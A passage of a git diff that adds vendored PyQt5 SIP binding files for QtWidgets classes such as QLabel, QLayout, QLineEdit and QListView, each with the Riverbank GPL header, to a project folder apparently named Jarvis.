(Qt_5_10_0 -) + void setDoubleStep(double step); +%End +%If (Qt_5_10_0 -) + double doubleStep() const; +%End +}; + +QFlags operator|(QInputDialog::InputDialogOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qitemdelegate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qitemdelegate.sip new file mode 100644 index 00000000..e6218cfa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qitemdelegate.sip @@ -0,0 +1,51 @@ +// qitemdelegate.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QItemDelegate : QAbstractItemDelegate +{ +%TypeHeaderCode +#include +%End + +public: + explicit QItemDelegate(QObject *parent /TransferThis/ = 0); + virtual ~QItemDelegate(); + virtual void paint(QPainter *painter, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const; + virtual QSize sizeHint(const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const; + virtual QWidget *createEditor(QWidget *parent /TransferThis/, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const /Factory/; + virtual void setEditorData(QWidget *editor, const QModelIndex &index) const; + virtual void setModelData(QWidget *editor, QAbstractItemModel *model /KeepReference/, const QModelIndex &index) const; + virtual void updateEditorGeometry(QWidget *editor, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const; + QItemEditorFactory *itemEditorFactory() const; + void setItemEditorFactory(QItemEditorFactory *factory /KeepReference/); + bool hasClipping() const; + void setClipping(bool clip); + +protected: + void drawBackground(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const; + virtual void drawCheck(QPainter *painter, const QStyleOptionViewItem &option /NoCopy/, const QRect &rect, Qt::CheckState state) const; + virtual void drawDecoration(QPainter *painter, const QStyleOptionViewItem &option /NoCopy/, const QRect &rect, const QPixmap &pixmap) const; + virtual void drawDisplay(QPainter *painter, const QStyleOptionViewItem &option /NoCopy/, const QRect &rect, const QString &text) const; + virtual void drawFocus(QPainter *painter, const QStyleOptionViewItem &option /NoCopy/, const QRect &rect) const; + virtual bool eventFilter(QObject *object, QEvent *event); + virtual bool editorEvent(QEvent *event, QAbstractItemModel *model, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qitemeditorfactory.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qitemeditorfactory.sip new file mode 100644 index 00000000..ec839e24 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qitemeditorfactory.sip @@ -0,0 +1,49 @@ +// qitemeditorfactory.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QItemEditorCreatorBase /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QItemEditorCreatorBase(); + virtual QWidget *createWidget(QWidget *parent /TransferThis/) const = 0 /Factory/; + virtual QByteArray valuePropertyName() const = 0; +}; + +class QItemEditorFactory /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + QItemEditorFactory(); + virtual ~QItemEditorFactory(); + virtual QWidget *createEditor(int userType, QWidget *parent /TransferThis/) const; + virtual QByteArray valuePropertyName(int userType) const; + void registerEditor(int userType, QItemEditorCreatorBase *creator /Transfer/); + static const QItemEditorFactory *defaultFactory(); + static void setDefaultFactory(QItemEditorFactory *factory /Transfer/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qkeyeventtransition.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qkeyeventtransition.sip new file mode 100644 index 00000000..2e82cb0b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qkeyeventtransition.sip @@ -0,0 +1,41 @@ +// qkeyeventtransition.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QKeyEventTransition : QEventTransition +{ +%TypeHeaderCode +#include +%End + +public: + QKeyEventTransition(QState *sourceState /TransferThis/ = 0); + QKeyEventTransition(QObject *object /KeepReference=10/, QEvent::Type type, int key, QState *sourceState /TransferThis/ = 0); + virtual ~QKeyEventTransition(); + int key() const; + void setKey(int key); + Qt::KeyboardModifiers modifierMask() const; + void setModifierMask(Qt::KeyboardModifiers modifiers); + +protected: + virtual void onTransition(QEvent *event); + virtual bool eventTest(QEvent *event); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qkeysequenceedit.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qkeysequenceedit.sip new file mode 100644 index 00000000..150d4dbd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qkeysequenceedit.sip @@ -0,0 +1,52 @@ +// qkeysequenceedit.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QKeySequenceEdit : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QKeySequenceEdit(QWidget *parent /TransferThis/ = 0); + QKeySequenceEdit(const QKeySequence &keySequence, QWidget *parent /TransferThis/ = 0); + virtual ~QKeySequenceEdit(); + QKeySequence keySequence() const; + +public slots: + void setKeySequence(const QKeySequence &keySequence); + void clear(); + +signals: + void editingFinished(); + void keySequenceChanged(const QKeySequence &keySequence); + +protected: + virtual bool event(QEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void keyReleaseEvent(QKeyEvent *); + virtual void timerEvent(QTimerEvent *); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlabel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlabel.sip new file mode 100644 index 00000000..d99eb71a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlabel.sip @@ -0,0 +1,90 @@ +// qlabel.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLabel : QFrame +{ +%TypeHeaderCode +#include +%End + +public: + QLabel(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + QLabel(const QString &text, QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QLabel(); + QString text() const; + const QPixmap *pixmap() const; + const QPicture *picture() const; + QMovie *movie() const; + Qt::TextFormat textFormat() const; + void setTextFormat(Qt::TextFormat); + Qt::Alignment alignment() const; + void setAlignment(Qt::Alignment); + void setWordWrap(bool on); + bool wordWrap() const; + int indent() const; + void setIndent(int); + int margin() const; + void setMargin(int); + bool hasScaledContents() const; + void setScaledContents(bool); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + void setBuddy(QWidget * /KeepReference/); + QWidget *buddy() const; + virtual int heightForWidth(int) const; + bool openExternalLinks() const; + void setTextInteractionFlags(Qt::TextInteractionFlags flags); + Qt::TextInteractionFlags textInteractionFlags() const; + void setOpenExternalLinks(bool open); + +public slots: + void clear(); + void setMovie(QMovie *movie /KeepReference/); + void setNum(double /Constrained/); + void setNum(int); + void setPicture(const QPicture &); + void setPixmap(const QPixmap &); + void setText(const QString &); + +signals: + void linkActivated(const QString &link); + void linkHovered(const QString &link); + +protected: + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); + virtual void changeEvent(QEvent *); + virtual void keyPressEvent(QKeyEvent *ev); + virtual void mousePressEvent(QMouseEvent *ev); + virtual void mouseMoveEvent(QMouseEvent *ev); + virtual void mouseReleaseEvent(QMouseEvent *ev); + virtual void contextMenuEvent(QContextMenuEvent *ev); + virtual void focusInEvent(QFocusEvent *ev); + virtual void focusOutEvent(QFocusEvent *ev); + virtual bool focusNextPrevChild(bool next); + +public: + void setSelection(int, int); + bool hasSelectedText() const; + QString selectedText() const; + int selectionStart() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlayout.sip new file mode 100644 index 00000000..ee369898 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlayout.sip @@ -0,0 +1,173 @@ +// qlayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLayout : QObject, QLayoutItem +{ +%TypeHeaderCode +#include +%End + +public: + enum SizeConstraint + { + SetDefaultConstraint, + SetNoConstraint, + SetMinimumSize, + SetFixedSize, + SetMaximumSize, + SetMinAndMaxSize, + }; + + QLayout(QWidget *parent /TransferThis/); + QLayout(); + virtual ~QLayout(); + int spacing() const; + void setSpacing(int); + bool setAlignment(QWidget *w, Qt::Alignment alignment); + bool setAlignment(QLayout *l, Qt::Alignment alignment); + void setAlignment(Qt::Alignment alignment); + void setSizeConstraint(QLayout::SizeConstraint); + QLayout::SizeConstraint sizeConstraint() const; + void setMenuBar(QWidget *w /GetWrapper/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->setMenuBar(a0); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (a0 && parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a0Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows setMenuBar(QWidget()). + sipTransferTo(a0Wrapper, sipSelf); + } +%End + + QWidget *menuBar() const; + QWidget *parentWidget() const; + virtual void invalidate(); + virtual QRect geometry() const; + bool activate(); + void update(); + void addWidget(QWidget *w /GetWrapper/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->addWidget(a0); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a0Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows addWidget(QWidget()). + sipTransferTo(a0Wrapper, sipSelf); + } +%End + + virtual void addItem(QLayoutItem * /Transfer/) = 0; + void removeWidget(QWidget *w /TransferBack/); + void removeItem(QLayoutItem * /TransferBack/); + virtual Qt::Orientations expandingDirections() const; + virtual QSize minimumSize() const; + virtual QSize maximumSize() const; + virtual void setGeometry(const QRect &); + virtual QLayoutItem *itemAt(int index) const = 0; + virtual QLayoutItem *takeAt(int index) = 0 /TransferBack/; + virtual int indexOf(QWidget *) const; +%If (Qt_5_12_0 -) + int indexOf(QLayoutItem *) const; +%End + virtual int count() const = 0 /__len__/; + virtual bool isEmpty() const; + int totalHeightForWidth(int w) const; + QSize totalMinimumSize() const; + QSize totalMaximumSize() const; + QSize totalSizeHint() const; + virtual QLayout *layout(); + void setEnabled(bool); + bool isEnabled() const; + static QSize closestAcceptableSize(const QWidget *w, const QSize &s); + +protected: + void widgetEvent(QEvent *); + virtual void childEvent(QChildEvent *e); + void addChildLayout(QLayout *l /Transfer/); + void addChildWidget(QWidget *w /GetWrapper/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + sipCpp->addChildWidget(a0); + #else + sipCpp->sipProtect_addChildWidget(a0); + #endif + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a0Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows + // addChildWidget(QWidget()). + sipTransferTo(a0Wrapper, sipSelf); + } +%End + + QRect alignmentRect(const QRect &) const; + +public: + void setContentsMargins(int left, int top, int right, int bottom); + void getContentsMargins(int *left, int *top, int *right, int *bottom) const; + QRect contentsRect() const; + void setContentsMargins(const QMargins &margins); + QMargins contentsMargins() const; + virtual QSizePolicy::ControlTypes controlTypes() const; +%If (Qt_5_2_0 -) + QLayoutItem *replaceWidget(QWidget *from, QWidget *to /Transfer/, Qt::FindChildOptions options = Qt::FindChildrenRecursively) /TransferBack/; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlayoutitem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlayoutitem.sip new file mode 100644 index 00000000..313c6f80 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlayoutitem.sip @@ -0,0 +1,114 @@ +// qlayoutitem.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLayoutItem /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + if (sipCpp->widget()) + { + sipType = sipType_QWidgetItem; + } + else if (sipCpp->spacerItem()) + { + sipType = sipType_QSpacerItem; + } + else + { + // Switch to the QObject convertor. + *sipCppRet = sipCpp->layout(); + sipType = sipType_QObject; + } +%End + +public: + explicit QLayoutItem(Qt::Alignment alignment = Qt::Alignment()); + virtual ~QLayoutItem(); + virtual QSize sizeHint() const = 0; + virtual QSize minimumSize() const = 0; + virtual QSize maximumSize() const = 0; + virtual Qt::Orientations expandingDirections() const = 0; + virtual void setGeometry(const QRect &) = 0; + virtual QRect geometry() const = 0; + virtual bool isEmpty() const = 0; + virtual bool hasHeightForWidth() const; + virtual int heightForWidth(int) const; + virtual int minimumHeightForWidth(int) const; + virtual void invalidate(); + virtual QWidget *widget(); + virtual QLayout *layout(); + virtual QSpacerItem *spacerItem(); + Qt::Alignment alignment() const; + void setAlignment(Qt::Alignment a); + virtual QSizePolicy::ControlTypes controlTypes() const; +}; + +class QSpacerItem : QLayoutItem +{ +%TypeHeaderCode +#include +%End + +public: + QSpacerItem(int w, int h, QSizePolicy::Policy hPolicy = QSizePolicy::Minimum, QSizePolicy::Policy vPolicy = QSizePolicy::Minimum); + virtual ~QSpacerItem(); + void changeSize(int w, int h, QSizePolicy::Policy hPolicy = QSizePolicy::Minimum, QSizePolicy::Policy vPolicy = QSizePolicy::Minimum); + virtual QSize sizeHint() const; + virtual QSize minimumSize() const; + virtual QSize maximumSize() const; + virtual Qt::Orientations expandingDirections() const; + virtual bool isEmpty() const; + virtual void setGeometry(const QRect &); + virtual QRect geometry() const; + virtual QSpacerItem *spacerItem(); +%If (Qt_5_5_0 -) + QSizePolicy sizePolicy() const; +%End +}; + +class QWidgetItem : QLayoutItem +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWidgetItem(QWidget *w); + virtual ~QWidgetItem(); + virtual QSize sizeHint() const; + virtual QSize minimumSize() const; + virtual QSize maximumSize() const; + virtual Qt::Orientations expandingDirections() const; + virtual bool isEmpty() const; + virtual void setGeometry(const QRect &); + virtual QRect geometry() const; + virtual QWidget *widget(); + virtual bool hasHeightForWidth() const; + virtual int heightForWidth(int) const; + virtual QSizePolicy::ControlTypes controlTypes() const; + +private: + QWidgetItem(const QWidgetItem &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlcdnumber.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlcdnumber.sip new file mode 100644 index 00000000..e9e48a3b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlcdnumber.sip @@ -0,0 +1,82 @@ +// qlcdnumber.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLCDNumber : QFrame +{ +%TypeHeaderCode +#include +%End + +public: + explicit QLCDNumber(QWidget *parent /TransferThis/ = 0); + QLCDNumber(uint numDigits, QWidget *parent /TransferThis/ = 0); + virtual ~QLCDNumber(); + + enum Mode + { + Hex, + Dec, + Oct, + Bin, + }; + + enum SegmentStyle + { + Outline, + Filled, + Flat, + }; + + bool smallDecimalPoint() const; + int digitCount() const; + void setDigitCount(int nDigits); + void setNumDigits(int nDigits); +%MethodCode + // This is implemented for Qt v5 so that .ui files created with Designer for Qt v4 will continue to work. + sipCpp->setDigitCount(a0); +%End + + bool checkOverflow(double num /Constrained/) const; + bool checkOverflow(int num) const; + QLCDNumber::Mode mode() const; + void setMode(QLCDNumber::Mode); + QLCDNumber::SegmentStyle segmentStyle() const; + void setSegmentStyle(QLCDNumber::SegmentStyle); + double value() const; + int intValue() const; + virtual QSize sizeHint() const; + void display(const QString &str); + void display(double num /Constrained/); + void display(int num); + void setHexMode(); + void setDecMode(); + void setOctMode(); + void setBinMode(); + void setSmallDecimalPoint(bool); + +signals: + void overflow(); + +protected: + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlineedit.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlineedit.sip new file mode 100644 index 00000000..69c33d9c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlineedit.sip @@ -0,0 +1,172 @@ +// qlineedit.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QLineEdit : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QLineEdit(QWidget *parent /TransferThis/ = 0); + QLineEdit(const QString &contents, QWidget *parent /TransferThis/ = 0); + virtual ~QLineEdit(); + QString text() const; + QString displayText() const; + int maxLength() const; + void setMaxLength(int); + void setFrame(bool); + bool hasFrame() const; + + enum EchoMode + { + Normal, + NoEcho, + Password, + PasswordEchoOnEdit, + }; + + QLineEdit::EchoMode echoMode() const; + void setEchoMode(QLineEdit::EchoMode); + bool isReadOnly() const; + void setReadOnly(bool); + void setValidator(const QValidator * /KeepReference/); + const QValidator *validator() const; + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + int cursorPosition() const; + void setCursorPosition(int); + int cursorPositionAt(const QPoint &pos); + void setAlignment(Qt::Alignment flag); + Qt::Alignment alignment() const; + void cursorForward(bool mark, int steps = 1); + void cursorBackward(bool mark, int steps = 1); + void cursorWordForward(bool mark); + void cursorWordBackward(bool mark); + void backspace(); + void del() /PyName=del_/; + void home(bool mark); + void end(bool mark); + bool isModified() const; + void setModified(bool); + void setSelection(int, int); + bool hasSelectedText() const; + QString selectedText() const; + int selectionStart() const; + bool isUndoAvailable() const; + bool isRedoAvailable() const; + void setDragEnabled(bool b); + bool dragEnabled() const; + QString inputMask() const; + void setInputMask(const QString &inputMask); + bool hasAcceptableInput() const; + void setText(const QString &); + void clear(); + void selectAll(); + void undo(); + void redo(); + void cut(); + void copy() const; + void paste(); + void deselect(); + void insert(const QString &); + QMenu *createStandardContextMenu() /Factory/; + +signals: + void textChanged(const QString &); + void textEdited(const QString &); + void cursorPositionChanged(int, int); + void returnPressed(); + void editingFinished(); + void selectionChanged(); + +protected: + void initStyleOption(QStyleOptionFrame *option) const; + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mouseDoubleClickEvent(QMouseEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void focusInEvent(QFocusEvent *); + virtual void focusOutEvent(QFocusEvent *); + virtual void paintEvent(QPaintEvent *); + virtual void dragEnterEvent(QDragEnterEvent *); + virtual void dragMoveEvent(QDragMoveEvent *e); + virtual void dragLeaveEvent(QDragLeaveEvent *e); + virtual void dropEvent(QDropEvent *); + virtual void changeEvent(QEvent *); + virtual void contextMenuEvent(QContextMenuEvent *); + virtual void inputMethodEvent(QInputMethodEvent *); + QRect cursorRect() const; + +public: + virtual QVariant inputMethodQuery(Qt::InputMethodQuery) const; + virtual bool event(QEvent *); + void setCompleter(QCompleter *completer /KeepReference/); + QCompleter *completer() const; + void setTextMargins(int left, int top, int right, int bottom); + void getTextMargins(int *left, int *top, int *right, int *bottom) const; + void setTextMargins(const QMargins &margins); + QMargins textMargins() const; + QString placeholderText() const; + void setPlaceholderText(const QString &); + void setCursorMoveStyle(Qt::CursorMoveStyle style); + Qt::CursorMoveStyle cursorMoveStyle() const; +%If (Qt_5_2_0 -) + + enum ActionPosition + { + LeadingPosition, + TrailingPosition, + }; + +%End +%If (Qt_5_2_0 -) + void setClearButtonEnabled(bool enable); +%End +%If (Qt_5_2_0 -) + bool isClearButtonEnabled() const; +%End +%If (Qt_5_2_0 -) + void addAction(QAction *action); +%End +%If (Qt_5_2_0 -) + void addAction(QAction *action, QLineEdit::ActionPosition position); +%End +%If (Qt_5_2_0 -) + QAction *addAction(const QIcon &icon, QLineEdit::ActionPosition position) /Transfer/; +%End +%If (Qt_5_7_0 -) + QVariant inputMethodQuery(Qt::InputMethodQuery property, QVariant argument) const; +%End +%If (Qt_5_10_0 -) + int selectionEnd() const; +%End +%If (Qt_5_10_0 -) + int selectionLength() const; +%End + +signals: +%If (Qt_5_12_0 -) + void inputRejected(); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlistview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlistview.sip new file mode 100644 index 00000000..e89b2a1a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qlistview.sip @@ -0,0 +1,147 @@ +// qlistview.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QListView : QAbstractItemView +{ +%TypeHeaderCode +#include +%End + +public: + enum Movement + { + Static, + Free, + Snap, + }; + + enum Flow + { + LeftToRight, + TopToBottom, + }; + + enum ResizeMode + { + Fixed, + Adjust, + }; + + enum LayoutMode + { + SinglePass, + Batched, + }; + + enum ViewMode + { + ListMode, + IconMode, + }; + + explicit QListView(QWidget *parent /TransferThis/ = 0); + virtual ~QListView(); + void setMovement(QListView::Movement movement); + QListView::Movement movement() const; + void setFlow(QListView::Flow flow); + QListView::Flow flow() const; + void setWrapping(bool enable); + bool isWrapping() const; + void setResizeMode(QListView::ResizeMode mode); + QListView::ResizeMode resizeMode() const; + void setLayoutMode(QListView::LayoutMode mode); + QListView::LayoutMode layoutMode() const; + void setSpacing(int space); + int spacing() const; + void setGridSize(const QSize &size); + QSize gridSize() const; + void setViewMode(QListView::ViewMode mode); + QListView::ViewMode viewMode() const; + void clearPropertyFlags(); + bool isRowHidden(int row) const; + void setRowHidden(int row, bool hide); + void setModelColumn(int column); + int modelColumn() const; + void setUniformItemSizes(bool enable); + bool uniformItemSizes() const; + virtual QRect visualRect(const QModelIndex &index) const; + virtual void scrollTo(const QModelIndex &index, QAbstractItemView::ScrollHint hint = QAbstractItemView::EnsureVisible); + virtual QModelIndex indexAt(const QPoint &p) const; + virtual void reset(); + virtual void setRootIndex(const QModelIndex &index); + +signals: + void indexesMoved(const QModelIndexList &indexes); + +protected: + virtual void scrollContentsBy(int dx, int dy); + virtual void dataChanged(const QModelIndex &topLeft, const QModelIndex &bottomRight, const QVector &roles = QVector()); + virtual void rowsInserted(const QModelIndex &parent, int start, int end); + virtual void rowsAboutToBeRemoved(const QModelIndex &parent, int start, int end); + virtual bool event(QEvent *e); + virtual void mouseMoveEvent(QMouseEvent *e); + virtual void mouseReleaseEvent(QMouseEvent *e); + virtual void timerEvent(QTimerEvent *e); + virtual void resizeEvent(QResizeEvent *e); + virtual void dragMoveEvent(QDragMoveEvent *e); + virtual void dragLeaveEvent(QDragLeaveEvent *e); + virtual void dropEvent(QDropEvent *e); +%If (Qt_5_6_0 -) + 